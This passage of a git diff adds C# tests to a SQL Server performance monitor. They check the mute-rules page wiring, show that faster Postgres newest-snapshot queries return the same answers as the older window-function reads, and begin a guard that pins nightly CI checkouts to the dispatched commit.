+    }
+
+    [Fact]
+    public void EachWriteUsesItsRouteAndMethod()
+    {
+        var page = Page();
+        Assert.Contains("send(\"POST\", \"/api/mute-rules\", body)", page);
+        Assert.Contains("send(\"PATCH\", \"/api/mute-rules/\" + encodeURIComponent(id), body)", page);
+        Assert.Contains("send(\"PUT\", \"/api/mute-rules/\" + encodeURIComponent(id) + \"/enabled\", { enabled })", page);
+        Assert.Contains("send(\"DELETE\", \"/api/mute-rules/\" + encodeURIComponent(id))", page);
+    }
+
+    [Fact]
+    public void ThePatchPathNeverNamesEnabled()
+    {
+        var page = Page();
+        var start = page.IndexOf("export function buildPatch", System.StringComparison.Ordinal);
+        var end = page.IndexOf("export function interpretWrite", System.StringComparison.Ordinal);
+        Assert.InRange(start, 0, end);
+        Assert.DoesNotContain("enabled", page[start..end]);
+        Assert.DoesNotContain("\"enabled\"", page[page.IndexOf("const EDITABLE_KEYS", System.StringComparison.Ordinal)..][..120]);
+    }
+
+    [Fact]
+    public void EditAffordancesAreGatedOnCanEdit()
+    {
+        var page = Page();
+        Assert.Contains("const canEdit = !!session.can_edit;", page);
+        Assert.Contains("const newBtn = canEdit ?", page);
+        Assert.Contains("if (canEdit) {\n    cells.push(", page);
+        Assert.Contains("if (canEdit && query && query !== lastPrefillQuery)", page);
+        Assert.Contains("window.confirm(", page);
+    }
+
+    [Fact]
+    public void AlertHistoryOffersMuteActionsOnlyToAnEditingSeat()
+    {
+        var alerts = Wwwroot("js", "pages", "alerts.js");
+        Assert.Contains("canMute = !!(await getSession()).can_edit;", alerts);
+        Assert.Contains("return canMute ? [SELECT_COLUMN].concat(ALERT_COLUMNS, [MUTE_COLUMN]) : ALERT_COLUMNS;", alerts);
+        Assert.Contains("link(\"Mute this alert\", mutePrefillParams(a))", alerts);
+        Assert.DoesNotContain("server_name: a.server_name", alerts);
+        Assert.Contains("stored_server_name = r.StoredServerName", File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpAlertTools.cs")));
+    }
+
+    [Fact]
+    public void TheNavEntryAndTheRouteAreWired()
+    {
+        Assert.Contains("<a data-route=\"mute-rules\" href=\"#/mute-rules\">Mute Rules</a>", Wwwroot("index.html"));
+        var app = Wwwroot("js", "app.js");
+        Assert.Contains("h === \"#/mute-rules\" || h.startsWith(\"#/mute-rules?\")", app);
+        Assert.Contains("else if (r.name === \"muteRules\") renderMuteRules(main, r.query);", app);
+        Assert.Contains("if (r.name === \"muteRules\") return \"mute-rules\";", app);
+    }
+}
diff --git a/Darling/Darling.Tests/NewestSnapshotReadsLiveTests.cs b/Darling/Darling.Tests/NewestSnapshotReadsLiveTests.cs
new file mode 100644
index 0000000000..25844d36b9
--- /dev/null
+++ b/Darling/Darling.Tests/NewestSnapshotReadsLiveTests.cs
@@ -0,0 +1,553 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5516: the file I/O size fact and the perfmon rate facts used to number every row of the window to keep the
+/// newest per key (49.0 M and 42.4 M blocks over 13 days on the audited store). They now stop inside the newest
+/// snapshot. Text pins on the new shape.
+/// </summary>
+public sealed class NewestSnapshotReadsTextTests
+{
+    [Fact]
+    public void ThePerfmonRead_TakesTheNewestUsableRowPerCounter_AndNoLongerNumbersTheWindow()
+    {
+        var sql = PgFactCollector.PerfmonSql;
+
+        Assert.DoesNotContain("ROW_NUMBER", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("ORDER BY collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
+        Assert.Equal(3, System.Text.RegularExpressions.Regex.Matches(sql, "ORDER BY collection_time DESC").Count);
+        foreach (var counter in new[] { "Batch Requests/sec", "SQL Compilations/sec", "SQL Re-Compilations/sec" })
+        {
+            Assert.Contains($"counter_name = '{counter}'", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("sample_interval_seconds > 0", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDatabaseSizeRead_TakesTheNewestSnapshotByEquality_AndOnlyDroppedOutFilesSendItToTheFullRead()
+    {
+        var sql = PgFactCollector.DatabaseSizeNewestSql;
+
+        Assert.DoesNotContain("ROW_NUMBER", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("collection_time = (SELECT collection_time FROM newest)", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("dropped_out", sql, StringComparison.Ordinal);
+
+        var source = File.ReadAllText(Path.Combine(
+            RepoRoot(), "Darling", "PerformanceMonitor.Darling.Analysis", "PgFactCollector.Storage.cs"));
+        var method = source[source.IndexOf("private async Task CollectDatabaseSizeFactAsync", StringComparison.Ordinal)..];
+        method = method[..method.IndexOf("ReportCollectionFailure", StringComparison.Ordinal)];
+        Assert.True(
+            method.IndexOf("new NpgsqlCommand(DatabaseSizeNewestSql", StringComparison.Ordinal)
+            < method.IndexOf("new NpgsqlCommand(DatabaseSizeSql", StringComparison.Ordinal),
+            "the cheap read runs first; the full read is the fallback");
+        Assert.Contains("if (droppedOut)", method, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile);
+        while (dir is not null
+               && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln"))
+               && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
+
+/* #1776 own-store: the live class below mints its own scratch database through ScratchPostgres and never touches
+   another test's rows, so it is deliberately NOT [Collection("live-postgres")]. The scratch database is dropped
+   on disposal, which is the cleanup. */
+
+/// <summary>
+/// #5516: the answers must not change. Both reads can return a key's OLDER row when the newest snapshot lacks it,
+/// so each scenario runs the shipped path and the pre-#5516 read (kept here as an oracle) over the same rows.
+/// </summary>
+public sealed class NewestSnapshotReadsLiveTests
+{
+    /// <summary>The perfmon read as shipped before #5516. An oracle, never run by the product.</summary>
+    private const string WindowFunctionPerfmonSql = @"
+WITH latest AS (
+    SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds,
+           ROW_NUMBER() OVER (PARTITION BY counter_name ORDER BY collection_time DESC) AS rn
+    FROM perfmon_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   counter_name IN ('Batch Requests/sec', 'SQL Compilations/sec', 'SQL Re-Compilations/sec')
+    AND   sample_interval_seconds > 0
+)
+SELECT counter_name, cntr_value, delta_cntr_value, sample_interval_seconds
+FROM latest WHERE rn = 1";
+
+    private static readonly string[] s_counters = ["Batch Requests/sec", "SQL Compilations/sec", "SQL Re-Compilations/sec"];
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /* #5608: the end of every window is the fixed anchor, never the clock. The perfmon read's block count depends on where
+       the day-sized raw chunk boundary falls in the seeded window: the 4-hour window straddles it between 00:00 and 04:00
+       UTC, and the newest read then walks a different number of rows inside the newest chunk, so a 3x margin that held at
+       midday failed at 00:50 (perfmon old=264 new=120). The anchor keeps the window inside one chunk at any hour. */
+    private static DateTime Now() => LiveClock.AnchoredEnd();
+
+    private static AnalysisContext Context(int serverId, DateTime end) => new()
+    {
+        ServerId = serverId,
+        ServerName = "newest-snapshot-e2e",
+        TimeRangeStart = end.AddHours(-4),
+        TimeRangeEnd = end,
+        ServerUtcOffset = TimeSpan.Zero,
+    };
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection)> OpenAsync(CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        if (await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct))
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await using var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        return (scratch, connection);
+    }
+
+    private static async Task FileIoAsync(NpgsqlConnection c, int serverId, DateTime at, string db, string file, decimal size, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(@"
+INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, size_mb)
+VALUES ($1, $2, $3, 'newest-snapshot-e2e', $4, $5, 'ROWS', $6)", c);
+        cmd.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        cmd.Parameters.AddWithValue(at);
+        cmd.Parameters.AddWithValue(serverId);
+        cmd.Parameters.AddWithValue(db);
+        cmd.Parameters.AddWithValue(file);
+        cmd.Parameters.AddWithValue(size);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task PerfmonAsync(NpgsqlConnection c, int serverId, DateTime at, string counter, long delta, int interval, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(@"
+INSERT INTO perfmon_stats (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name,
+                           cntr_value, delta_cntr_value, sample_interval_seconds)
+VALUES ($1, $2, $3, 'newest-snapshot-e2e', 'SQLServer:SQL Statistics', $4, '', $5, $6, $7)", c);
+        cmd.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        cmd.Parameters.AddWithValue(at);
+        cmd.Parameters.AddWithValue(serverId);
+        cmd.Parameters.AddWithValue(counter);
+        cmd.Parameters.AddWithValue(delta * 2);
+        cmd.Parameters.AddWithValue(delta);
+        cmd.Parameters.AddWithValue(interval);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static DateTime Naive(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    /// <summary>The oracle: the pre-#5516 full read, over the same bounds the product binds.</summary>
+    private static async Task<double?> OldDatabaseSizeAsync(NpgsqlConnection c, AnalysisContext context, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(PgFactCollector.DatabaseSizeSql, c);
+        cmd.Parameters.AddWithValue(context.ServerId);
+        cmd.Parameters.AddWithValue(Naive(context.LatestValueStartFor("file_io_stats")));
+        cmd.Parameters.AddWithValue(Naive(context.TimeRangeEnd));
+        var value = await cmd.ExecuteScalarAsync(ct);
+        return value is null or DBNull ? null : Convert.ToDouble(value);
+    }
+
+    private static async Task<(double? Total, bool DroppedOut)> NewestDatabaseSizeAsync(NpgsqlConnection c, AnalysisContext context, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(PgFactCollector.DatabaseSizeNewestSql, c);
+        cmd.Parameters.AddWithValue(context.ServerId);
+        cmd.Parameters.AddWithValue(Naive(context.LatestValueStartFor("file_io_stats")));
+        cmd.Parameters.AddWithValue(Naive(context.TimeRangeEnd));
+        using var reader = await cmd.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.IsDBNull(0) ? null : Convert.ToDouble(reader.GetValue(0)), reader.GetBoolean(1));
+    }
+
+    private static async Task<double?> ShippedDatabaseSizeFactAsync(NpgsqlDataSource postgres, AnalysisContext context)
+    {
+        var facts = await new PgFactCollector(postgres).CollectFactsAsync(context);
+        return facts.SingleOrDefault(f => f.Key == "DATABASE_TOTAL_SIZE_MB")?.Value;
+    }
+
+    private static async Task<List<string>> PerfmonRowsAsync(NpgsqlConnection c, string sql, AnalysisContext context, CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(sql, c);
+        cmd.Parameters.AddWithValue(context.ServerId);
+        cmd.Parameters.AddWithValue(Naive(context.TimeRangeStart));
+        cmd.Parameters.AddWithValue(Naive(context.TimeRangeEnd));
+        var rows = new List<string>();
+        using var reader = await cmd.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add($"{reader.GetString(0)}|{reader.GetValue(1)}|{reader.GetValue(2)}|{reader.GetValue(3)}");
+        }
+
+        rows.Sort(StringComparer.Ordinal);
+        return rows;
+    }
+
+    /// <summary>
+    /// Every way the newest snapshot can differ from the full read's answer, one server each, compared with the
+    /// pre-#5516 read run over the same rows. A steady store takes the cheap path alone; a file missing from the
+    /// newest snapshot (dropped, a failed per-database read, a size that stopped qualifying) is carried by the
+    /// full read, so the sum is the old one in every scenario.
+    /// </summary>
+    [Fact]
+    public async Task TheDatabaseSizeFact_EqualsTheFullRead_WhenFilesAreMissingFromTheNewestSnapshot_AgainstDevPostgres()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live newest-snapshot size test.");
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await OpenAsync(ct);
+        await using var scratchLease = scratch;
+        await using var connectionLease = c;
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var end = Now();
+        DateTime At(int minutesAgo) => end.AddMinutes(-minutesAgo);
+
+        /* 1: steady - three files in every snapshot, sizes growing; the newest snapshot decides. */
+        const int steady = -516_001;
+        for (var m = 600; m >= 0; m -= 30)
+        {
+            await FileIoAsync(c, steady, At(m), "Db", "A", 100 + (600 - m), ct);
+            await FileIoAsync(c, steady, At(m), "Db", "B", 200 + (600 - m), ct);
+            await FileIoAsync(c, steady, At(m), "Db", "C", 300 + (600 - m), ct);
+        }
+
+        /* 2: file C missing from the newest snapshot only - the full read keeps its older row. */
+        const int missingNewest = -516_002;
+        for (var m = 600; m >= 30; m -= 30)
+        {
+            await FileIoAsync(c, missingNewest, At(m), "Db", "A", 100, ct);
+            await FileIoAsync(c, missingNewest, At(m), "Db", "B", 200, ct);
+            await FileIoAsync(c, missingNewest, At(m), "Db", "C", 300, ct);
+        }
+
+        await FileIoAsync(c, missingNewest, At(0), "Db", "A", 111, ct);
+        await FileIoAsync(c, missingNewest, At(0), "Db", "B", 222, ct);
+
+        /* 3: a database present only in the OLDEST snapshot of the lookback (dropped long ago, still inside it). */
+        const int onlyOldest = -516_003;
+        await FileIoAsync(c, onlyOldest, At(1380), "Gone", "G", 5000, ct);
+        for (var m = 600; m >= 0; m -= 30)
+        {
+            await FileIoAsync(c, onlyOldest, At(m), "Db", "A", 100, ct);
+        }
+
+        /* 4: the newest row for a file stopped qualifying (size 0) - the old read returned its older positive row. */
+        const int zeroNewest = -516_004;
+        await FileIoAsync(c, zeroNewest, At(60), "Db", "A", 100, ct);
+        await FileIoAsync(c, zeroNewest, At(60), "Db", "B", 400, ct);
+        await FileIoAsync(c, zeroNewest, At(0), "Db", "A", 150, ct);
+        await FileIoAsync(c, zeroNewest, At(0), "Db", "B", 0, ct);
+
+        /* 5: a sample after the window's end never wins; 6: one snapshot; 7: nothing at all. */
+        const int afterEnd = -516_005;
+        await FileIoAsync(c, afterEnd, At(10), "Db", "A", 100, ct);
+        await FileIoAsync(c, afterEnd, At(-30), "Db", "A", 7777, ct);
+        const int single = -516_006;
+        await FileIoAsync(c, single, At(5), "Db", "A", 10, ct);
+        await FileIoAsync(c, single, At(5), "Db", "B", 20, ct);
+        const int empty = -516_007;
+
+        /* 8: a file absent from a MIDDLE snapshot (a failed per-database read) but present in the newest: the newest
+           snapshot is still complete, so the cheap path stands. */
+        const int flaky = -516_008;
+        foreach (var m in new[] { 600, 300, 90, 60, 30, 0 })
+        {
+            await FileIoAsync(c, flaky, At(m), "Db", "A", 100, ct);
+        }
+
+        foreach (var m in new[] { 600, 300, 90, 30, 0 })
+        {
+            await FileIoAsync(c, flaky, At(m), "Db", "B", 200, ct);
+        }
+
+        var expectDroppedOut = new Dictionary<int, bool>
+        {
+            [steady] = false, [missingNewest] = true, [onlyOldest] = true, [zeroNewest] = true,
+            [afterEnd] = false, [single] = false, [empty] = false, [flaky] = false,
+        };
+        foreach (var (serverId, dropped) in expectDroppedOut)
+        {
+            var context = Context(serverId, end);
+            var old = await OldDatabaseSizeAsync(c, context, ct);
+            var (cheap, droppedOut) = await NewestDatabaseSizeAsync(c, context, ct);
+            var fact = await ShippedDatabaseSizeFactAsync(postgres, context);
+
+            Assert.True(dropped == droppedOut, $"server {serverId}: expected dropped_out={dropped}, got {droppedOut}");
+            Assert.Equal(old is > 0 ? old : null, fact);
+            if (!droppedOut)
+            {
+                Assert.Equal(old, cheap);
+            }
+        }
+
+        /* By value, so a vacuous pass on both sides cannot hide: the old read's older rows are the answer. */
+        Assert.Equal(111 + 222 + 300, await ShippedDatabaseSizeFactAsync(postgres, Context(missingNewest, end)));
+        Assert.Equal(5000 + 100, await ShippedDatabaseSizeFactAsync(postgres, Context(onlyOldest, end)));
+        Assert.Equal(150 + 400, await ShippedDatabaseSizeFactAsync(postgres, Context(zeroNewest, end)));
+        Assert.Equal(100, await ShippedDatabaseSizeFactAsync(postgres, Context(afterEnd, end)));
+        Assert.Equal(30, await ShippedDatabaseSizeFactAsync(postgres, Context(single, end)));
+        Assert.Equal(700 + 800 + 900, await ShippedDatabaseSizeFactAsync(postgres, Context(steady, end)));
+        Assert.Null(await ShippedDatabaseSizeFactAsync(postgres, Context(empty, end)));
+    }
+
+    /// <summary>
+    /// The one accepted difference from the full read (#5516): a file seen only in snapshots strictly between the
+    /// two probed ones (the oldest in the lookback and the one just before the newest) is not carried by the cheap
+    /// path, where the full read carried it as a ghost for up to 24 hours. Pinned so a change to it is deliberate:
+    /// if the probe ever closes the gap the cheap total will include the file and this test will say so.
+    /// </summary>
+    [Fact]
+    public async Task TheDatabaseSizeFact_DoesNotCarryAFileSeenOnlyBetweenTheProbedSnapshots_AgainstDevPostgres()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live newest-snapshot size test.");
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await OpenAsync(ct);
+        await using var scratchLease = scratch;
+        await using var connectionLease = c;
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var end = Now();
+        DateTime At(int minutesAgo) => end.AddMinutes(-minutesAgo);
+
+        /* File A is in every snapshot, including the oldest in the lookback (23 h ago) and the second newest. File G
+           lives in two middle snapshots only: in neither probed snapshot, and not in the newest. */
+        const int hole = -516_009;
+        await FileIoAsync(c, hole, At(1380), "Db", "A", 100, ct);
+        foreach (var m in new[] { 720, 690, 600, 300, 30, 0 })
+        {
+            await FileIoAsync(c, hole, At(m), "Db", "A", 100, ct);
+        }
+
+        foreach (var m in new[] { 720, 690 })
+        {
+            await FileIoAsync(c, hole, At(m), "Staging", "G", 5000, ct);
+        }
+
+        var context = Context(hole, end);
+        var old = await OldDatabaseSizeAsync(c, context, ct);
+        var (cheap, droppedOut) = await NewestDatabaseSizeAsync(c, context, ct);
+
+        Assert.Equal(5000 + 100, old);
+        Assert.Equal(100, cheap);
+        Assert.False(droppedOut, "the probe sees neither snapshot with the file, so the full read is not asked");
+        Assert.Equal(100, await ShippedDatabaseSizeFactAsync(postgres, context));
+    }
+
+    /// <summary>
+    /// The perfmon read returns the same rows as the window function it replaced, including a counter that is
+    /// absent from the newest snapshot or unusable there (interval 0): the older usable row is still the answer.
+    /// </summary>
+    [Fact]
+    public async Task ThePerfmonRead_ReturnsTheWindowFunctionsRows_IncludingOlderRowsForCountersTheNewestSnapshotLacks_AgainstDevPostgres()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live newest-snapshot perfmon test.");
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await OpenAsync(ct);
+        await using var scratchLease = scratch;
+        await using var connectionLease = c;
+
+        var end = Now();
+        DateTime At(int minutesAgo) => end.AddMinutes(-minutesAgo);
+
+        /* 1: steady - all three counters usable in every snapshot. */
+        const int steady = -516_011;
+        for (var m = 200; m >= 0; m -= 20)
+        {
+            foreach (var counter in s_counters)
+            {
+                await PerfmonAsync(c, steady, At(m), counter, 600 + m, 60, ct);
+            }
+        }
+
+        /* 2: the newest snapshot lacks one counter outright. */
+        const int absent = -516_012;
+        for (var m = 200; m >= 20; m -= 20)
+        {
+            foreach (var counter in s_counters)
+            {
+                await PerfmonAsync(c, absent, At(m), counter, 600 + m, 60, ct);
+            }
+        }
+
+        await PerfmonAsync(c, absent, At(0), s_counters[0], 1, 60, ct);
+        await PerfmonAsync(c, absent, At(0), s_counters[2], 2, 60, ct);
+
+        /* 3: the newest snapshot holds an unusable (interval 0) row for one counter - the older usable row wins. */
+        const int unusable = -516_013;
+        foreach (var counter in s_counters)
+        {
+            await PerfmonAsync(c, unusable, At(40), counter, 900, 60, ct);
+        }
+
+        await PerfmonAsync(c, unusable, At(0), s_counters[0], 0, 0, ct);
+        await PerfmonAsync(c, unusable, At(0), s_counters[1], 5, 60, ct);
+
+        /* 4: a counter with only unusable rows yields no row; unrelated counters are ignored; a row after the end is. */
+        const int mixed = -516_014;
+        await PerfmonAsync(c, mixed, At(40), s_counters[2], 0, 0, ct);
+        await PerfmonAsync(c, mixed, At(40), "Page life expectancy", 77, 60, ct);
+        await PerfmonAsync(c, mixed, At(30), s_counters[0], 10, 60, ct);
+        await PerfmonAsync(c, mixed, At(-30), s_counters[0], 99, 60, ct);
+
+        /* 5: nothing at all. */
+        const int empty = -516_015;
+
+        foreach (var serverId in new[] { steady, absent, unusable, mixed, empty })
+        {
+            var context = Context(serverId, end);
+            var oldRows = await PerfmonRowsAsync(c, WindowFunctionPerfmonSql, context, ct);
+            var newRows = await PerfmonRowsAsync(c, PgFactCollector.PerfmonSql, context, ct);
+            Assert.Equal(oldRows, newRows);
+        }
+
+        /* By value, so a vacuous pass on both sides cannot hide: the absent counter keeps its older row. */
+        var absentRows = await PerfmonRowsAsync(c, PgFactCollector.PerfmonSql, Context(absent, end), ct);
+        Assert.Equal(3, absentRows.Count);
+        Assert.Contains(absentRows, r => r.StartsWith("SQL Compilations/sec|", StringComparison.Ordinal) && r.EndsWith("|620|60", StringComparison.Ordinal));
+        var unusableRows = await PerfmonRowsAsync(c, PgFactCollector.PerfmonSql, Context(unusable, end), ct);
+        Assert.Contains(unusableRows, r => r.StartsWith("Batch Requests/sec|", StringComparison.Ordinal) && r.EndsWith("|900|60", StringComparison.Ordinal));
+        Assert.Single(await PerfmonRowsAsync(c, PgFactCollector.PerfmonSql, Context(mixed, end), ct));
+        Assert.Empty(await PerfmonRowsAsync(c, PgFactCollector.PerfmonSql, Context(empty, end), ct));
+    }
+
+    /// <summary>
+    /// The point of #5516: a window of minute snapshots. The old shapes touch every snapshot's blocks; the new
+    /// ones touch the newest. Block counts, not timings, so the assertion is stable.
+    /// The rows seeded here are uncompressed: what the older COMPRESSED chunks cost the old shapes is not measured.
+    /// </summary>
+    [Fact]
+    public async Task TheNewestSnapshotReads_TouchAFractionOfTheBlocksTheFullWindowReadsDo_AgainstDevPostgres()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live newest-snapshot block-count test.");
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await OpenAsync(ct);
+        await using var scratchLease = scratch;
+        await using var connectionLease = c;
+
+        const int serverId = -516_021;
+        var end = Now();
+
+        using (var seed = new NpgsqlCommand(@"
+INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, size_mb)
+SELECT 516_000_000_000 + (EXTRACT(EPOCH FROM t)::bigint / 60) * 100 + f, t, $1, 'newest-snapshot-e2e',
+       'Db' || f, 'Db' || f || '_data', 'ROWS', 100 * f
+FROM generate_series($2::timestamp, $3::timestamp, interval '1 minute') AS t CROSS JOIN generate_series(1, 20) AS f", c))
+        {
+            seed.Parameters.AddWithValue(serverId);
+            seed.Parameters.AddWithValue(end.AddHours(-24));
+            seed.Parameters.AddWithValue(end);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        using (var seed = new NpgsqlCommand(@"
+INSERT INTO perfmon_stats (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name,
+                           cntr_value, delta_cntr_value, sample_interval_seconds)
+SELECT 516_100_000_000 + (EXTRACT(EPOCH FROM t)::bigint / 60) * 100 + n, t, $1, 'newest-snapshot-e2e',
+       'SQLServer:SQL Statistics',
+       CASE WHEN n = 1 THEN 'Batch Requests/sec' WHEN n = 2 THEN 'SQL Compilations/sec' WHEN n = 3 THEN 'SQL Re-Compilations/sec'
+            ELSE 'Filler counter ' || n END,
+       '', 1000, 60, 60
+FROM generate_series($2::timestamp, $3::timestamp, interval '1 minute') AS t CROSS JOIN generate_series(1, 60) AS n", c))
+        {
+            seed.Parameters.AddWithValue(serverId);
+            seed.Parameters.AddWithValue(end.AddHours(-4));
+            seed.Parameters.AddWithValue(end);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        foreach (var table in new[] { "file_io_stats", "perfmon_stats" })
+        {
+            using var analyze = new NpgsqlCommand($"ANALYZE {table}", c);
+            await analyze.ExecuteNonQueryAsync(ct);
+        }
+
+        var context = Context(serverId, end);
+        var lookback = context.LatestValueStartFor("file_io_stats");
+
+        var oldSize = await BlocksAsync(c, PgFactCollector.DatabaseSizeSql, [serverId, lookback, end], ct);
+        var newSize = await BlocksAsync(c, PgFactCollector.DatabaseSizeNewestSql, [serverId, lookback, end], ct);
+        var oldPerfmon = await BlocksAsync(c, WindowFunctionPerfmonSql, [serverId, context.TimeRangeStart, end], ct);
+        var newPerfmon = await BlocksAsync(c, PgFactCollector.PerfmonSql, [serverId, context.TimeRangeStart, end], ct);
+
+        var plans = new System.Text.StringBuilder();
+        foreach (var (sql, ps) in new (string, object[])[]
+        {
+            (PgFactCollector.DatabaseSizeNewestSql, [serverId, lookback, end]),
+            (PgFactCollector.PerfmonSql, [serverId, context.TimeRangeStart, end]),
+        })
+        {
+            using var explain = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, COSTS OFF, TIMING OFF) " + sql, c);
+            foreach (var p in ps)
+            {
+                explain.Parameters.AddWithValue(p is DateTime dt ? Naive(dt) : p);
+            }
+
+            using var reader = await explain.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                plans.AppendLine(reader.GetString(0));
+            }
+        }
+
+        var report = $"{plans}{Environment.NewLine}file_io old={oldSize} new={newSize}; perfmon old={oldPerfmon} new={newPerfmon}";
+        Assert.True(newSize * 3 <= oldSize, "the database-size read should touch a third of the blocks or less: " + report);
+        Assert.True(newPerfmon * 3 <= oldPerfmon, "the perfmon read should touch a third of the blocks or less: " + report);
+    }
+
+    private static async Task<long> BlocksAsync(NpgsqlConnection c, string sql, object[] parameters, CancellationToken ct)
+    {
+        using var explain = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + sql, c);
+        foreach (var p in parameters)
+        {
+            explain.Parameters.AddWithValue(p is DateTime dt ? Naive(dt) : p);
+        }
+
+        var json = (string)(await explain.ExecuteScalarAsync(ct))!;
+        using var doc = JsonDocument.Parse(json);
+        var plan = doc.RootElement[0].GetProperty("Plan");
+        return plan.GetProperty("Shared Hit Blocks").GetInt64()
+             + (plan.TryGetProperty("Shared Read Blocks", out var read) ? read.GetInt64() : 0);
+    }
+}
diff --git a/Darling/Darling.Tests/NightlyCheckoutCommitPinTests.cs b/Darling/Darling.Tests/NightlyCheckoutCommitPinTests.cs
new file mode 100644
index 0000000000..4442cd6884
--- /dev/null
+++ b/Darling/Darling.Tests/NightlyCheckoutCommitPinTests.cs
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every <c>actions/checkout</c> in <c>nightly.yml</c> checks out the commit the run was dispatched at,
+/// never a branch name (#5616).
+///
+/// <para><b>The defect this closes was a moving target.</b> Seven checkouts carried
+/// <c>ref: ${{ github.event_name == 'workflow_dispatch' &amp;&amp; github.ref_name || 'dev' }}</c>.
+/// <c>github.ref_name</c> is the branch NAME, so each job checked out the branch tip at the moment that
+/// job started. A merge to dev in the middle of a run made the later jobs (the test shards, publish)
+/// build a different commit than the earlier ones, so dev had to freeze for the length of every nightly.
+/// <c>github.sha</c> is fixed when the run is dispatched, so every job sees the same tree.</para>
+///
+/// <para><b>Why a pin.</b> Each checkout is a hand-copied block, and a new job copied from an old
+/// workflow, or from the branch-name spelling in a doc, brings the moving target back with no visible
+/// difference until two jobs of one run disagree about what they built.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class NightlyCheckoutCommitPinTests
+{
+    private const string NightlyWorkflow = ".github/workflows/nightly.yml";
+
+    private static readonly Regex JobKey = new(@"^  ([A-Za-z0-9_-]+):\s*$", RegexOptions.Compiled);
+    private static readonly Regex RefKey = new(@"^\s*ref:\s*(.*)$", RegexOptions.Compiled);
